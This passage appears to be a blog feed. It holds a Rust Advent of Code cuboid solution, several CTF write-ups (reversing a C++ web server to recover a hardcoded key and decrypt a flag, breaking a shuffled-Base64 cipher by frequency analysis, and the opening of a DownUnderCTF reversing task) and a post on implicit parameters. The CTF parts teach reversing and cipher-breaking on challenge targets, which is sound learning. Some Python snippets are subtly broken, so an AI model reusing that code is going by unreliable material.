Further, we’ll also restrict our scope by using .max and .min so that if, say x1 is way out there at -1000, x1.max(-r) will pull it back to -50.

// Solution 1: Brute-force Approach.
type Set = HashSet<(cube_t, cube_t, cube_t)>;

fn brute_force(cmds: &Vec<Command>) -> u32 {
    let mut set: Set = HashSet::new();
    let r = 50;
    for &Command(onoff, ((x1, x2), (y1, y2), (z1, z2))) in cmds {
        for i in x1.max(-r)..=x2.min(r) {
            for j in y1.max(-r)..=y2.min(r) {
                for k in z1.max(-r)..=z2.min(r) {
                    if onoff {
                        set.insert((i, j, k));
                    } else {
                        set.remove(&(i, j, k));
                    }
                }
            }
        }
    }
    set.len() as u32
}

Simple, right? Unfortunately for large cuboids this approach becomes extremely slow. By “large”, I mean cuboids like x=-100000..100000, y=-100000..100000, z=-100000..100000.

To deal with these big numbers, we need to bring in some big guns!

A Set Union Approach

In part 1, our scope was limited to a 100x100x100 cube centred on the origin. Part 2 removes this scope, meaning we have to take into account every single point in existence! Time to use this organ called the brain!

Let’s start with some investigative work and put on our thinking caps. For the moment, let’s imagine we’re working in 2D instead of 3D. Also, imagine our input is in some generic form.

^{$A$ on, $B$ on, $C$ on.}

^{$A$ on, $B$ off, $C$ on.}

When $A$ turns on, all the points in $A$ light up. Currently, we have $|A|$ points. Now let’s explore our next options.

$B$ turns on. We now have $|A \cup B|$ points.
$B$ turns off. How many points were switched off? Well, we simply subtract the intersection $|A \cap B|$, so that we end up with $|A| - |A \cap B| = |A \cup B| - |B|$ points.

Continuing further, we have

$B$ on: $|A \cup B|$.
- $C$ on → $|A \cup B \cup C|$ points.
- $C$ off → Again, we subtract the intersection. $|A \cup B| - |(A \cup B) \cap C| = |A \cup B \cup C| - |C|$ points.
$B$ off: $|A \cup B| - |B|$.
- $C$ on → We want to add $|C|$, but suppose the points were already counted? We would need to subtract the double-counted points by considering the intersection of the new set $C$ and original points. We thus have—brace yourself—three new terms: $- |(A \cup B) \cap C|$, $+ |B \cap C|$, and $+ |C|$.
  
  $$ \underbrace{|A \cup B| - |B|}_{\text{original sets}} - \underbrace{|(A \cup B) \cap C| + |B \cap C|}_{\text{subtract double-counted}} + |C|. $$
  
  Regrouping and simplifying, we get
  
  $$ \begin{align*} &|A \cup B| + |C| - |(A \cup B) \cap C| - |B| + |B \cap C| \\ &= \underbrace{|A \cup B \cup C| - |B \cup C|}_{\text{original sets unioned with } C} + \underbrace{|C|}_{\text{new}}. \end{align*} $$
  
  Notice how we started off from $|A \cup B| - |B|$, and now we've simply extended them with $\cup\ C$ and added a $|C|$ term.
  
  This is actually similar to what we did when turning $B$ off the first time! We originally had $|A|$, then introduced $\cup\ B$, and subtracted $|B|$ so that we don’t count anything from $B$. We subtracted $|B|$ then, since we were turning $B$ off, but now we add $|C|$ since we’re turning $C$ on.
  
  Finally, let’s see what happens for the $A$ on, $B$ off, $C$ off case.
- $C$ off → We can think of this as similar to the $B$ off $C$ on path above, except we don’t add the $|C|$ term. So we just have two terms:
  
  $$ \begin{align*} &\underbrace{|A \cup B \cup C| - |B \cup C| + |C|}_{\text{same as } B \text{ off, } C \text{ on}} - \underbrace{|C|}_{\text{new}} \\ &= |A \cup B \cup C| - |B \cup C|. \end{align*} $$

Moreover, we add a new term each time we change between on and off. We see this above in when going from $A$ on to $B$ off, from $B$ on to $C$ off, and $B$ off to $C$ on. Each time it’s one new term, and it’s the opposite sign of the previous term. It goes without saying, that this can be generalised.

Can we build it? Yes, we can!

Moving on to practical matters… how do we code this? We’ll separate the logic into two stages: one for building a set expression, the other for evaluating the expression.

Taking a lesson from functional programming, let’s discuss data and representation first. We can represent a union as a vector of cuboids: Vec<Cuboid>. But a cuboid is six integers, and the sets in our union all come from the input. So we can actually use a vector of indices instead: Vec<usize>. We’ll wrap these vectors in another container to represent our alternating union (this means every second term subtracts). I went for LinkedList for performance, but Vec should work as well.

Let’s build our set expression then:

let mut alternating_unions: LinkedList<Vec<usize>> = LinkedList::new();
let lookup = cmds.iter().map(|&Command(_, c)| c).collect::<Vec<_>>();
for (i, &Command(on, _)) in cmds.iter().enumerate() {
    for v in alternating_unions.iter_mut() {
        v.push(i); // Push the current tag.
    }
    if (alternating_unions.len() % 2 == 0) == on {
        // A new union term is added if "on" and even, or "off" and odd.
        let mut v = vec![i];
        v.reserve(cmds.len() - i); // Smol optimisation.
        alternating_unions.push_back(v);
    }
}

Evaluating the union is simply a matter of taking the set of unions, applying the inclusion-exclusion and generating a DFS tree with pruning. Those are some pretty big words. Let’s unpack it a bit.

What the heck is the Inclusion-Exclusion Principle?

Given two sets $A$ and $B$, we can compute the union through $|A \cup B| = |A| + |B| - |A \cap B|$. The idea is that we add $A$ and $B$; but since we double-counted the overlapping region ($A \cap B$), we subtract it once to balance things out. It turns out this principle can be generalised for any number of sets.

Take a look at the diagram and convince yourself that for three sets, we have

$$ \begin{align*} |A\nobreak\cup\nobreak B\nobreak\cup\nobreak C| = &|A| + |B| + |C| \\ &- |A \cap B| - |A \cap C| - |B \cap C| \\ &+ |A \cap B \cap C|. \end{align*} $$

The inclusion-exclusion principle extends this idea to $n$ sets by including (adding) sets and excluding (subtracting) sets. The general formula for $n$ sets is

$$ \left| \bigcup_{i=0}^n A_i \right| = \sum_{k=1}^n (-1)^{k+1} \left( \sum_{1 \le i_1 < \cdots < i_k \le n} |A_{i_1} \cap \cdots \cap A_{i_k}| \right). $$

The Inclusion-Exclusion Principle as DFS

Earlier I mentioned DFS with pruning. Why DFS?

Here’s a DFS tree for computing $|A \cup B \cup C|$:

A u B u C
|-- A
|   |-- A n B
|   |   |-- A n B n C
|   |
|   |-- A n C
|
|-- B
|   |-- B n C
|
|-- C

Can we parallelise this? Probably. But let’s leave that for another time.

Now what if two sets are disjoint? Suppose $A = ((0, 10), (0, 10), (0, 10))$ and $B = ((100, 200), (0, 10), (0, 10))$. These two sets have nothing in common, i.e. $A \cap B = \varnothing$. It follows that $A \cap B \cap C = \varnothing$. Thus, once we know a set has no intersection, we don’t need to further explore its branches. This is the pruning part of the DFS.

// @brief   Computes the number of points in a cuboid.
// @return  Number of points in a cuboid.
fn eval_cuboid(((x1, x2), (y1, y2), (z1, z2)): &Cuboid) -> u64 { ... }

// @brief   Computes the intersection of a cuboid.
// @return  Some(Cuboid) if the intersection exists, None otherwise.
fn intersect((x1, y1, z1): &Cuboid, (x2, y2, z2): &Cuboid) -> Option<Cuboid> { ... }

// @brief    Finds the intersection between two ranges.
// @return   Some((cube_t, cube_t)) if an intersection exists, None if there is no intersection.
fn range_intersect(&(a1, a2): &(cube_t, cube_t), &(b1, b2): &(cube_t, cube_t)) -> Option<(cube_t, cube_t)> { ... }

// @brief    eval_union computes the number of points in the union of sets `u`.
//
// @param    lookup: A lookup table of cuboids. Our sets will be represented as an array of indices (storing one i32 instead of six i32's).
// @param    add: Whether the current iteration adds or subtracts the union.
// @param    int: The current intersected cuboid.
// @param    u: The set of cuboids in the current union.
fn eval_union(lookup: &Vec<Cuboid>, add: bool, int: Cuboid, u: &[usize]) -> i64 {
    u.iter()
        .enumerate()
        .map(|(i, &tag)| match intersect(&int, &lookup[tag]) {
            Some(next_int) => {
                let v = eval_cuboid(&next_int) as i64;
                let rest = eval_union(lookup, !add, next_int, &u[i + 1..]);
                if add {
                    rest + v
                } else {
                    rest - v
                }
            }
            // No intersection. No need to evaluate deeper, since any intersection with the empty set will just be the empty set.
            None => 0,
        })
        .sum::<i64>()
}

let scope = ((-200000, 200000), (-200000, 200000), (-200000, 200000));
alternating_unions
    .iter()
    .enumerate()
    .map(|(i, u)| eval_union(&lookup, i % 2 == 0, scope, &u[..]))
    .sum::<i64>()

Final Remarks

This was one of the more challenging (but also rewarding!) Advent of Code challenges this year. Some others propose a cuboid-slicing method as opposed to set theory. However, I find this approach difficult to grasp and plan. Moreover, cuboid-slicing appears more difficult to generalise into higher dimensions, whereas with the set theoretic approach you pretty much just need to change the data types and intersect functions.

Anyway, let’s end on a pedagogical note. Here are some exercises for the reader:

The set expression we built above contains some redundant information. What is redundant, and how can we optimise it?
In the code above, we initialised our search with a scope.
```
let scope = ((-200000, 200000), (-200000, 200000), (-200000, 200000));
```
Rust
Points outside the scope won’t be considered. Rewrite the evaluation logic so that a scope doesn’t need to be specified.
In this post, we used a union-based approach, i.e. storing an alternating set of unions, then computing it by applying the inclusion-exclusion principle. Try rewriting the algorithm into an intersection-based approach. Instead of storing unions, store sets of intersections.
- What are the computation differences?
- Compare the two algorithms. Under what circumstances are one better?

Full Script

For completeness, here's the full d22.rs script.

HKCERT CTF 2022 – C++harming Website

2022-11-15T00:00:00Z

Description

350 points. 4/5 ⭐️. 4/311 solves.

Seems someone encrypt their flag with some weird online website. And seems the website is written in C++...

Does anyone even use C++ to write their web server? I guess C++ is still charm but it must be easy to reverse.... right?

Analysis

We’re provided with the server binary written in C++. No source code. 😟 We’re also provided with a link to a website (presumably hosted by the server).

Hmm, I wonder what the website has in store for us. Let’s check it out!

How disappointing. Oh well, perhaps the binary is more helpful. Maybe we can find out how to work the website. Might be important. Might not be important. Who knows?¹

Firing up Ghidra and loading the binary, we start by going to main (okay so far!). main doesn't seem to do much, besides calling init, run, and std::cout. Things get a lot more interesting when we look at run:

It’s easy to be intimidated by such a large application. And it’s in C++, so there’s a ton of garbage (std, templates, constructors, destructors, etc.).²

After a bit of digging, we uncover quite a bit of info:

The server uses a library called oatpp.
- It’s useful to look at some oatpp examples, as this gives us a general idea of the application flow and structure.
- For example, an endpoint could be defined by using oatpp::web::server::HttpRouter::route (example) or with the ENDPOINT macro (example). It appears our charming website was using the latter.
- Now that we know what library is used, can we find out what the endpoint is?
- Yes. In the examples, we see that the endpoints are hardcoded. Chances are, the endpoints in the charming website are also hardcoded, and thus stored in static memory.
Let’s look at some strings!
- Ghidra has a “Defined Strings” tool for browsing strings...
- But I ended up using the strings command along with grep:
```
strings cryptor-exe | grep -Ev '^_Z.*' # Filter out most C++ symbols. (Manually leaf through the rest.)
strings cryptor-exe | grep '/'         # Search for endpoint or MIME type.
```
  Bash
- With this, we find out that the endpoint is /encrypt, and the MIME type is application/json. No other MIME type appears, so it's probably using JSON for both request and response.
  - We can guess which JSON keys are parsed by looking at other strings. It appears the only key used is message.
  - We can try to use Postman or whatever to test the endpoint. Let's have a spin:
- There’s also some interesting strings such as “charm.c”. But I thought this was a C++ application? Perhaps a third-party library? Maybe we can use this later on.
The gold can be found in MyController::Encrypt::encrypt. This is where all the juicy stuff takes place. You can arrive here through a number of ways (e.g. following XREFs of uc_encrypt).
- The function begins by generating a random Initialisation Vector (IV).
- It then initialises some state using uc_state_init with a key.
  
  Fortunately, the key is stored in static memory. In plain sight. This is very blursed: blessed, because (from a CTF POV) we don't need much work; and cursed, because (from a dev vs. exploiter POV) we don't need much work.
- The message is then encrypted using uc_encrypt.
  
  I have no idea what puVar[-0x227] = X does, and apparently it's not important.
- Finally, encrypt encodes the message, tag, and IV in Base64; then sends out a JSON response.
Now how do we go about reversing this encryption?
- It's probably not trivial—most encryptions aren't.
- What cryptographic algorithms use a tag and IV? Google suggested AES-GCM.
- Oh, but wait—there’s a uc_decrypt function...

Pikachu used charm! It’s not very effective.

To make our life easier (and also because of curiosity), let’s see if the encryption library is open-source. OSINT time! Googling “charm.c uc_encrypt site:github.com” leads us to dsvpn, which links us to charm. Both are GitHub repositories using the same charm.c as the challenge.

The source gives us obvious clues we might’ve missed in our initial analysis. For example, the key should be 32 bytes long. This was quite helpful, as Ghidra for some reason grouped the 32nd byte apart from the first 31 bytes (took me a while to figure out what went wrong).

Now that we have the source, we can use it directly for our solve script!

int main() {
    uint32_t st[12] = {};

    // Obtained from binary (static_key symbol).
    unsigned char key[] = "\xf2\x9c\x0b\xf1\xc5\x1a\x7e\x65\x75\x80\x23\x6e\x8b\x74\x38\xbf\x59\x39\x8a\x1a\x05\xc6\x43\xfa\x1d\x57\x82\x0a\xb9\xc6\xdc\x50";
    
    // Obtained by decoding Base64.
    unsigned char iv[] = "\xe2\x4f\x76\x18\xd8\xa3\xa\xaf\xa8\xbf\xee\xe6\x5c\xe9\x4\x1e";
    unsigned char tag[] = "\xd0\x5b\x4c\x60\x6d\x88\x3f\x18\xff\xa8\x58\x43\xfc\xd2\xc6\xac";
    unsigned char c[] = "\xe4\xa\xf2\xb3\x96\x3c\x7a\x9a\x86\xe1\xa4\x9e\x45\xc5\xef\x7f\xe4\x8a\x96\x13\x4a\x95\x8\xc8\xdb\x6c\x7c\xa2\x34\x6f\xf4\x37\xae\xd0\x46\x1\xb2\xd0\xc\x32\xbb\x3e\xb6\xf9\xe6\x51\x5e\x6e\x14\xb\x97\x5b\x99\xd\xda\x3a\xf3\xe0\xd2\x66\xed\xe8\x7a\xbc\x6e\xc\xab\xec";
    
    uc_state_init(st, key, iv);
    
    size_t len = strlen((char*)c);
    int res = uc_decrypt(st, c, len, tag, 16);
    printf("result: %d\n", res);
    printf("%s\n", c);
}

Since the state is initialised inside the endpoint, it is refreshed for each encryption. As long as we have the key and IV, we can recover the state. Finally, we decrypt the message and get the flag. That's all there is to it!

Final Remarks

This was a rather nice, relaxing C++ challenge. And yes, C++ is still charm.

With C++ reverse challenges (and looking at large applications in general), it’s difficult to know what’s important because there are so many things to look at. But! It’s really helpful to know what’s not important, because then you can filter those out and pay attention to things that matter.

For example, if you see templates (the ever so familiar, pointy friends of ours), you can usually ignore everything in between. Normally they're the default anyway.

Also, if there’s something to learn from this challenge, it’s that application developers should secure their secrets (e.g. with environment variables or config loaders). 😛

Solve Scripts

Flag

hkcert22{n3v3r_s4w_4n_c++_ap1_s3Rv3R?m3_n31th3r_bb4t_17_d0e5_eX15ts}

Footnotes

It wasn’t. ↩︎
To be fair, one of the reasons C++ is powerful is because it’s both performant and expressive. And it’s expressive, because there can be a lot of hidden control flow. You can write one line of code which could be syntax sugar for twenty lines of code, and even more assembly. With C, it’s more straightforward (and simple). ↩︎

HKCERT CTF 2022 – Base64 Encryption

2022-11-14T00:00:00Z

The challenge looks deceptively simple. Chinese has over 50,000 characters. Base64 just has 64. So it should be easy right?

Haha nope. It's not as trivial as I thought.

Description

200 points. 3/5 ⭐️. 6/311 solves.

People said that base64 is an encoding, not an encryption. Did they have a misconception about that?

If you believe that base64 is just an encoding, then convince me that you are able to "decode" the article (which is in English).

Regardless, the challenge author is kind enough to provide a clue in the description: the plaintext is an article in English. We’ll see how this helps us later on.

Analysis

We’re provided with an encryption script chall.py (written in Python), along with the generated ciphertext message.enc.txt.

The script first encodes the plaintext in English:
```
encoded = base64.b64encode(message).decode().rstrip('=')
```
Python
...then "encrypts" it by mapping each Base64 character to another one:
```
encrypted = ''.join([charmap[c] for c in encoded])
```
Python
The script uses random.shuffle without seeding. This means we can’t easily reproduce the character mapping (charmap). We’ll need to try harder.
Although the script reads the plaintext in binary format (open('message.txt', 'rb')), I’m banking on the clue that the plaintext is an English article—so hopefully there aren’t any weird characters.

So how do we go about cracking this? Brute-force will be undoubtedly inefficient as we have $64! \approx 1.27 \times 10^{89}$ mapping combinations to try. It would take years before we have any progress! Also we’d need to look at results to determine if the English looks right (or automate it by checking a word list)—this would take even more time! Regardless, we need to find some other way.

First Steps: Elimination by ASCII Range

Here’s one idea: since the plaintext is an English article, this means that most (if not all) characters are in the printable ASCII range (32-127). This means that the most significant bit (MSB) of each byte cannot be 1. We can use this to create a blacklist of mappings. For example, originally we have 64 possible mappings for the letter A. After blacklisting, we may be left with, say, 16 possible mappings. This drastically reduces the search space.¹

Since Base64 simply maps 8-bits to 6-bits, so 3 characters of ASCII would be translated to 4 characters of Base64.

^{Base64 maps three characters to four. (Source)}

charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def get_chars_with_mask(m):
    """Get Base64 chars which are masked with m."""
    return {c for i, c in enumerate(charset) if (i & m) == m}

# List the 4 Base64 positions. We'll cycle through these positions (i.e. i % 4).
msbs = [0b100000, 0b001000, 0b000010, 0b000000]

# Get impossible characters for each position.
subchars = [get_chars_with_mask(m) for m in msbs]

# Create a blacklist for each Base64 char.
# e.g. blacklist['A'] returns the set of chars which 'A' can NOT map to.
blacklist = {c: set() for c in charset}

# Loop through each char in the shuffled Base64 text.
for i, c in enumerate(txt):
    # Ignore char mappings which have '1' in corresponding msb.
    # These can't map to a printable ASCII char.
    blacklist[c] |= subchars[i % 4]

# Invert the blacklist to get a dictionary of possible mappings.
# e.g. whitelist['A'] returns the set of chars which 'A' CAN map to.
whitelist = {k: set(charset) - v for k, v in blacklist.items()}

We can check the mappings we’ve eliminated:

print(''.join(sorted(blacklist['J'])))
# '+/0123456789CDGHKLOPSTWXabefghijklmnopqrstuvwxyz'

And that means the letter J can only map to:

print(''.join(sorted(whitelist['J']))
# 'ABEFIJMNQRUVYZcd'

Neat! This will help us later on (when we resort to ~~blatant~~ educated guessing).

We can do a similar thing on the low end. Again, since the smallest printable ASCII character is 32, this means either the second or third MSBs would be set.²

def get_inverted_chars_with_mask(m):
    return {c for i, c in enumerate(charset) if ((2**6 - 1 - i) & m) == m}

# chars that don't have bits set in ascii.
subchars_not_in_ascii = [get_inverted_chars_with_mask(m) for m in in_ascii]

Frequency Analysis with Known Text

Another idea comes to mind. Remember the plaintext is in English? Well, with English text, some letters appear more frequently than others. The same applies to words and sequences.

^{Frequency of the English alphabet. (Source: Wikipedia.)}

In the same vein, some letters and sequences in the Base64 encoding will also appear more frequently than others.

With this in mind, we can compare the ciphertext to the Base64 encoding of some random article (also in English, of course). For this, I copied some articles from CNN Lite (text-only, so it's easier to copy), encoded it, then analysed letter frequencies using dcode.fr. You could use this excellent article as well:

V2UncmUgbm8gc3RyYW5nZXJzIHRvIGxvdmUKWW91IGtub3cgdGhlIHJ1bGVzIGFuZCBzbyBkbyBJIChkbyBJKQpBIGZ1bGwgY29tbWl0bWVudCdzIHdoYXQgSSdtIHRoaW5raW5nIG9mCllvdSB3b3VsZG4ndCBnZXQgdGhpcyBmcm9tIGFueSBvdGhlciBndXkKSSBqdXN0IHdhbm5hIHRlbGwgeW91IGhvdyBJJ20gZmVlbGluZwpHb3R0YSBtYWtlIHlvdSB1bmRlcnN0YW5kCk5ldmVyIGdvbm5hIGdpdmUgeW91IHVwCk5ldmVyIGdvbm5hIGxldCB5b3UgZG93bgpOZXZlciBnb25uYSBydW4gYXJvdW5kIGFuZCBkZXNlcnQgeW91Ck5ldmVyIGdvbm5hIG1ha2UgeW91IGNyeQpOZXZlciBnb25uYSBzYXkgZ29vZGJ5ZQpOZXZlciBnb25uYSB0ZWxsIGEgbGllIGFuZCBodXJ0IHlvdQo=

^{Frequency analysis of plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.}

From this, we can deduce that 'w' was mapped from 'G' in the original encoding (due to the gap in frequency).

One useful option is the bigrams/n-grams option. We can tell dcode to analyse frequencies of groups of characters with a sliding window. This is useful to identify words and sequences.

^{Frequency analysis of 4-grams in plain vs. encrypted Base64. Left: CNN Lite articles. Right: Encrypted challenge text.}

Observe how "YoJP0H" occurs (relatively) frequently. This corresponds to "IHRoZS", which happens to be the Base64 encoding for " the".

More Heuristics

Frequency analysis is useful to group letters into buckets. But using frequency analysis alone is painful. Some guesswork is needed. Here's the complete process I went through:

Frequency Analysis: use dcode.fr to associate frequent characters.

We can make use of our earlier constraints to eliminate wrong guesses.³

# Dictionary of guessed mappings.
# key: shuffled Base64; value: plain Base64
guesses = {
    'w': 'G',       'Y': 'I',
    'o': 'H',       'c': 'B',

    # " the "
    'J': 'R',       'P': 'o',
    '0': 'Z',       'H': 'S',

    # More snipped out.
    ...
}
for c, g in guesses.items():
    # Our guess should be whitelisted!
    assert set(g).issubset(whitelist[c]) for gc in g), f'mismatch for {c} -> {g}, whitelist: {whitelist[c]}'
    whitelist[c] = g # Throw away all other values.

^{Random decoding after frequency analysis.}

Guesswork: guess English from the ~~nonsense~~ existing characters.
- e.g. "Eog:ish" → "English", "qepqesents" → "represents", "pqese&ved" → "preserved"
- Once we patched a word, other words became easier to patch.
  
  ^{Random decoding after guessing.}
- At this point, we can continue patching "ciphertext", "letters", "potential", etc. Or we could just use...
Google: after decoding a sizeable portion, let's pray and hope the plaintext is open-source. Then use the plaintext to derive the rest of the mapping.
- It turns out the plaintext is—quite aptly—the Wikipedia summary of frequency analysis.

Finding the rest of the mappings was quite easy. After a bit more tuning, we get the flag.

Final Remarks

Usually I play reverse and don’t touch cryptography, but all I can say is: this was basically playing an English reverse challenge under the hood. Forget C, C++, Java, .Net, and Rust. Reversing English is the best. 😛

There are probably better ways to automatically perform frequency analysis and search for mappings. I went for a hybrid method of Python scripting + manually checking two dcode tabs. Perhaps a second monitor would’ve helped, but I have nowhere to place it. 😐

Flag

hkcert22{b4s3_s1x7y_f0ur_1s_4n_3nc0d1n9_n07_4n_encryp710n}

Footnotes

What about é and à, as in déjà vu? Well, although those are technically in the extended ASCII character set, they should be rare enough. (Also I think Python encodes them differently from regular ASCII.) ↩︎
But what about newline (\n, ASCII 10) and carriage return (\r, ASCII 13)? These are also possible to have in plaintext messages. We shouldn’t entirely discount these, but as they’re relatively rare, we won’t consider them for now. ↩︎
Later on, we removed the second/third-MSB constraint since it got in the way of decoding \n. ↩︎

Implicit Parameters in Scala and Haskell

2022-10-15T00:00:00Z

Do not say a little in many words, but a great deal in a few.
– Pythagoras

What the heck are implicit parameters?

In software engineering, the Don’t Repeat Yourself principle is one of the foundations of writing modular programs. Implicit parameters (implicits, for short) are one of those language features which hide repetitive code so that developers can focus on the more important aspects of logic. Not all programming languages have implicit parameters; but those that do provide an extra mechanism to deal with repetitive code.

Both Scala and Haskell have the notion of implicit parameters. In Scala, it’s a built-in feature; whereas in Haskell, it’s a language extension. An even more important distinction is that in Scala, implicit variables bind by type, whereas in Haskell, they bind by name. We'll take a look at these in more detail.

Examples

...in Scala

Let's take a look at what implicit parameters look like in Scala.

// Example of using implicit.
def func(x: Int)(implicit s: String) =
  println(s"string: $s;  int: $x")

// Helper function to run a bunch of SQL statements and return the dataframe results.
def runBatch(sqls: Seq[String])(implicit spark: SparkSession): Dataframe =
  sqls map spark.sql

def main = {
  implicit val str: String = "abc" // Mark variable with the implicit keyword.
  // implicit val str2: String = "def" // Conflict! Two possible implicits of the same type. Error will occur.

  // Notice str is passed implicitly!
  func(1)  // string: abc;  int: 1
  func(42) // string: abc;  int: 42
  func(1)(str) // Same as above.
  func(42)(str)

  // Create a SparkSession object and mark it as implicit.
  implicit val spark: SparkSession = SparkSession.builder.master("local").getOrCreate
  val dfs = runBatch(Seq(
    "SELECT 1",
    "SELECT 2",
  )) // `spark` passed implicitly.
}

^(Demo)

As shown above, implicit params are coded by introducing a new set of parameters (in fact, this is how currying is achieved in Scala). In Scala, implicit variables require the implicit keyword. This serves as a flag to the compiler saying “this variable can be passed to functions with implicit parameters”. (Well, not exactly, but you get the idea.)

This is pretty useful for variables that have a single instance in any context and act like a global variable. In the Spark framework, a SparkSession is used to configure spark options, memory usage, and more. After configuration, we still want to hold onto the returned object in order to call functions such as spark.sql. Typically, we would only have one SparkSession in an application, so it makes sense to pass it to helper functions implicitly.

One gotcha is that Scala searches the calling context for implicit parameters of a matching type. The variable name does not matter. Scala implicits are actually a tad more complicated (and much more powerful as a result), so my example here doesn’t do it justice.

...in Haskell

Haskell’s implicit parameters are different. Here’s an example:

{-# LANGUAGE ImplicitParams #-} -- Enable the implicit parameters language extension.

import Data.Function (on)

-- Declare a generic sort function which takes a comparator.
sortBy :: (a -> a -> Ordering) -> [a] -> [a]
sortBy _ [] = []
sortBy cmp (p:xs) = -- Quickly hacked quick sort.
    sortBy cmp (filter ((== GT) . cmp p) xs) 
    ++ [p] 
    ++ sortBy cmp (filter ((/= GT) . cmp p) xs) 

-- Declare a sort function to sort a list.
sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]
sort = sortBy ?cmp

main :: IO ()
main = do
    let xs = [(1, 42), (5, 8), (10, 4), (3, 14), (15, 92)]
    let ?cmp = compare `on` fst -- Haskell idiom for constructing comparators.
    
    -- All equivalent: [(1,42),(3,14),(5,8),(10,4),(15,92)]
    print $ sortBy (compare `on` fst) xs    -- Explicit.
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    -- Change comparator. [(15,92),(1,42),(3,14),(5,8),(10,4)]
    let ?cmp = compare `on` (negate . snd)
    print $ sortBy ?cmp xs                  -- Explicit.
    print $ sort xs                         -- Implicit.
    
    let ?cmp2 = compare `on` snd
    print $ sortBy ?cmp2 xs
    print $ sort xs -- Which one is implicitly passed? `cmp` or `cmp2`? :)
    
    return ()

^(Demo)

Note that implicit variables in Haskell need to be indicated with a question mark, similar to the implicit keyword in Scala. ?cmp is an implicit variable, but cmp isn’t. However, unlike Scala, the implicit parameters here are specified in the function’s type signature. And not just that, it’s written in the function’s type constraints.

In Haskell, functions type signatures are placed on a separate line. For example, sortBy has the signature (a -> a -> Ordering) -> [a] -> [a], meaning it takes a function (in this case, a comparator) which itself takes two generic a's, a list of a's, and returns a list of a's. (This is not what actually happens under the hood, but it’s good enough for now.) On the other hand, sort's type signature looks a little different:

sort :: (?cmp :: a -> a -> Ordering) => [a] -> [a]

In a Haskell type signature, stuff on the left of => are type constraints; here we have ?cmp :: a -> a -> Ordering. Although somewhat unintuitive, this leverages Haskell’s existing type system so that implicit parameters are automatically propagated. So if another function calls sort without a ?cmp, then that function will also have ?cmp :: a -> a -> Ordering in its type constraint!

On a different note, an important distinction is that instead of searching for variables with a matching type (as in Scala), Haskell searches for variables with the same name. In a way, this behaves like C/C++ macros, but with type safety. Compare the Haskell example to the following C++ example.

...in C++

#include <algorithm>
#include <iostream>
#include <vector>

using namespace std; // Bad practice, but just to keep things readable.

// Generic sort with comparator.
template <typename F, typename T>
T sortBy(F cmp, T xs) {
    sort(xs.begin(), xs.end(), cmp);
    return xs;
};

// Sort with implicit comparator. We name it with an underscore to avoid confusion with std::sort.
// Note how `xs` is substituted with the parameter, but `cmp` is "implicitly" used.
#define sort_(xs) sortBy(cmp, xs)

// Helper function.
void print(const vector<pair<int, int>>& xs) {
    for (const auto& [a, b] : xs)
        cout << " (" << a << ", " << b << ")";
    cout << "\n";
};

int main() {
    auto xs = vector<pair<int, int>>{ {1, 42}, {5, 8}, {10, 4}, {3, 14}, {15, 92} };
    
    { //  (1, 42) (3, 14) (5, 8) (10, 4) (15, 92)
        auto cmp = [](auto pa, auto pb) { return pa.first < pb.first; };
        print(sortBy(cmp, xs));
        print(sort_(xs)); // Expanded to `print(sortBy(cmp, xs));`.
    }
     
    { //  (15, 92) (1, 42) (3, 14) (5, 8) (10, 4)
        auto cmp = [](auto pa, auto pb) { return pa.second > pb.second; };
        print(sort_(xs)); // Same expansion happens here.
    }
}

^(Demo)

This example irks me since it uses macros, so it's a bit hacky... too hacky for my tastes.

Abuse of Implicits

Although implicit params remove the need to explicitly state params, there is also the danger of hiding too much. This may lead to code being harder to trace and debug, and hence may cause confusion among team members.

The similarity with natural languages is striking. Sometimes ambiguity may arise when people conversing don’t have sufficient context. Or misunderstanding may arise when people come from different cultures.

Coming back to software engineering, implicits are best reserved for extremely common variables and unique types. Think twice before slapping implicit or a question mark in your code. You’ll thank yourself later.

Further Reading:

Tour of Book: Implicit Parameters
Where does Scala look for implicits?
GHC Language Extensions: Implicit Parameters
Implicit Parameters: Dynamic Scoping with Static Types: Basis for implicit params in Haskell. Good academic foundation and examples.

DownUnderCTF 2022 – ezpz-rev

2022-09-28T00:00:00Z

This was a fun little break from all the school work piling up. School is tiring, just like something else...

Challenge Description

CTFing is tiring. Take a break with this easy puzzle!

Note: The binary and server in this challenge are the same as "ezpz-pwn".

The description is rather terse. But it seems like the same binary is used for two challenges.

The binary is available on the DownUnderCTF repository. If you want to have a stab at the challenge, go for it!

Writeup

As with all reverse challenges, let’s first throw the executable into a decompiler and see what crops up. I'll be using Ghidra, a free open-source decompiler perfect for ezpz challenges.

Navigating to main, we see a function call, a gets (for reading user input), and a chain of four if-statements barring our way to some statements which print out the contents of flag-rev.txt (presumably the flag for this reverse challenge).

The most important functions to crack are the four guarding the file read. But we’ll take a look at the initialisation procedures first since they provide some helpful context towards understanding the program. Along the way, we’ll incrementally build a z3 logic solver to emulate/reverse each function.

Initialisation

The first initialisation function modifies some options for the stdin/stdout buffers. Pretty standard C-style CTF stuff. The second initialisation function is much more interesting. Here’s a screenshot of the decompiled program:

Decompilers are great and all, but the lack of useful variable names, comments, and readability can be a pain. Here’s a cleaned up version:

char* init_run_length_encoded(char* initcode) {
    char* data = malloc(0xc4);
    int ind = 0;    // Index used to insert into data. Serves the dual purpose of tracking the size of the data.
    for (int i = 0; initcode[i]; i += 2) {
        int length = initcode[i] - '0'; // Convert digit (char) to int.
        char c = initcode[i+1]; // Character to fill.
        
        // Unpack run-length atom into `data`.
        while (length--) {
            data[ind++] = c;
        }
    }
    return data;
}

In effect, the function initialises an array of chars by decoding a run-length encoded string. For example, the string 5a4b3c2d gets expanded to aaaaabbbbcccdd. Of course, the encoded string used is much longer, and it turns out that it fills all 196 (0xc4) chars allocated. There are a few more things I’d like to point out:

196 (0xc4) is a number that pops up a lot in this binary.
Although typical run-length encoded strings may have more than 9 digits packed together (e.g. 12c13e42f), the implementation above assumes a run-length of at most 9 (i.e. one digit).
Interestingly, the characters encoded only range from a to n. We’ll see how these come into play later on.

We can begin writing our solve script! Let’s perform this initialisation and decode the string into a chars variable.

encoded = '5a4b3c2d5a4b4c1d2a1e3a3b4c1d2a1e1f2a3b3c1g1d3e5f1b2c2g1d1f2e4f6g1d7f3h3g1d4f6h3g1d2f1i4j1h2k2l1m1d3i2j5k2l2m2i3j4k3l2m2i3j4k3l2m1i5j2k2n2l2m1i4j5n4l'
chars = ''
